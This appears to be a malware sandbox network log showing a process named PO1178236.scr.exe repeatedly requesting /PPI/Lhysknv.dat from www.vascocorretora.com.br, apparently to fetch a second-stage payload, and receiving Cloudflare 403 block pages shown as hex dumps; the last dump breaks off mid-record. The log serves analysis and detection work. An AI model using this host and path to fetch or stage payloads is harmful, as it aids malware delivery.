2025-01-09 07:28:52 UTC	1009	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:07 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3zQ7plQDoEltK4bcHyzT4uaqs2g1vfIRO7sYJcw08B%2FUVPbSrQhpY4tdrTv%2Fu6xCAVG%2Bk3hsAJLejBHs00GtRoptzFxJcz%2FEuriQcUBYGJrn9tJtb%2BNf5CRDtwK670JMADYpbQNTDGpRT3Ok"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b689bf8ff795-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1600&min_rtt=1595&rtt_var=608&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1783750&cwnd=187&unsent_bytes=0&cid=640e67f14fd0d4dc&ts=144&x=0"
2025-01-09 07:28:52 UTC	360	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:52 UTC	1369	IN	Data Raw: 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d Data Ascii: udflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=
2025-01-09 07:28:52 UTC	1369	IN	Data Raw: 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 Data Ascii: on cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.c
2025-01-09 07:28:52 UTC	1369	IN	Data Raw: 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 38 39 62 66 38 66 66 37 39 35 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 Data Ascii: xt-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b689bf8ff795</strong></span> <span class="cf-footer-separator sm:hidd
2025-01-09 07:28:52 UTC	1002	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 38 39 62 66 38 66 66 37 39 35 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 7a 4d 69 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b689bf8ff795',t:'MTczNjQwNzczMi4wMDAwMDA='};v
2025-01-09 07:28:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49789	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:53 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:53 UTC	1017	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:08 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=c7qiGU%2BLcR3sGSxPFwd69xZo2GUEF%2BSXbX%2BulGttwlpP%2Bb%2BeO6j1CcD1oYS9f2GuSIz%2B%2BNqHfk9SbAYWVgA%2BbRWRfoty99Qk0oQ5VkeKvV%2FFYAbnZyDKaRLi1YGsgxkizpDbn9EalWj4DqFV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b68d9d5e0f73-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1690&min_rtt=1683&rtt_var=646&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1675272&cwnd=233&unsent_bytes=0&cid=c920cc70b51cd9cb&ts=149&x=0"
2025-01-09 07:28:53 UTC	352	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:53 UTC	1369	IN	Data Raw: 64 21 20 7c 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 Data Ascii: d! \| Cloudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content
2025-01-09 07:28:53 UTC	1369	IN	Data Raw: 63 66 2d 73 65 63 74 69 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e Data Ascii: cf-section cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>
2025-01-09 07:28:53 UTC	1369	IN	Data Raw: 65 72 20 73 6d 3a 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 38 64 39 64 35 65 30 66 37 33 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 Data Ascii: er sm:text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b68d9d5e0f73</strong></span> <span class="cf-footer-separator
2025-01-09 07:28:53 UTC	1010	IN	Data Raw: 72 69 70 74 3e 0a 20 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 38 64 39 64 35 65 30 66 37 33 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 7a 4d 79 34 77 4d 44 41 77 Data Ascii: ript> window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b68d9d5e0f73',t:'MTczNjQwNzczMy4wMDAw
2025-01-09 07:28:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49790	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:53 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:54 UTC	1003	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:08 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ABadw%2BKkuNUcF5HGnkDdIe6pw2UqoQh7AGfP4kc7xD8eyPXifLZYvMT0U36OPZOmoNbUOJLvk77Yazhxzd011J5iY5jngbQ2lku8FFv2U8hc0mXLPm4kvoo8hzO8kYtuvFDx1%2BppOzYCJoJz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b6916a0a43a6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2405&min_rtt=2394&rtt_var=920&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1174577&cwnd=186&unsent_bytes=0&cid=1a90b5f65482ccbd&ts=151&x=0"
2025-01-09 07:28:54 UTC	366	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:54 UTC	1369	IN	Data Raw: 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 Data Ascii: e</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device
2025-01-09 07:28:54 UTC	1369	IN	Data Raw: 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 68 61 Data Ascii: highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captcha
2025-01-09 07:28:54 UTC	1369	IN	Data Raw: 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 39 31 36 61 30 61 34 33 61 36 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 Data Ascii: t border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b6916a0a43a6</strong></span> <span class="cf-footer-separator sm:hidden">&b
2025-01-09 07:28:54 UTC	996	IN	Data Raw: 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 39 31 36 61 30 61 34 33 61 36 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 7a 4d 79 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 3d 64 Data Ascii: ._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b6916a0a43a6',t:'MTczNjQwNzczMy4wMDAwMDA='};var a=d
2025-01-09 07:28:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49791	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:54 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:54 UTC	1003	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:09 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4j%2BU1GW0s8XslzwVFOMs6ADsuP%2BFu5s2z8u0ec8XGzxbK9txxQhKo8nUKmCt3ZPAe9Ss0HVxXpNHCisQ6N7sqMfLka6dSpPcyhURm1qUBz5q4P3u5PPp4pCeiy54gEQNUmIG1OXOmqFJi7TA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b6952ef641fe-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1851&min_rtt=1763&rtt_var=724&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1656267&cwnd=231&unsent_bytes=0&cid=12286655376be21f&ts=130&x=0"
2025-01-09 07:28:54 UTC	366	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 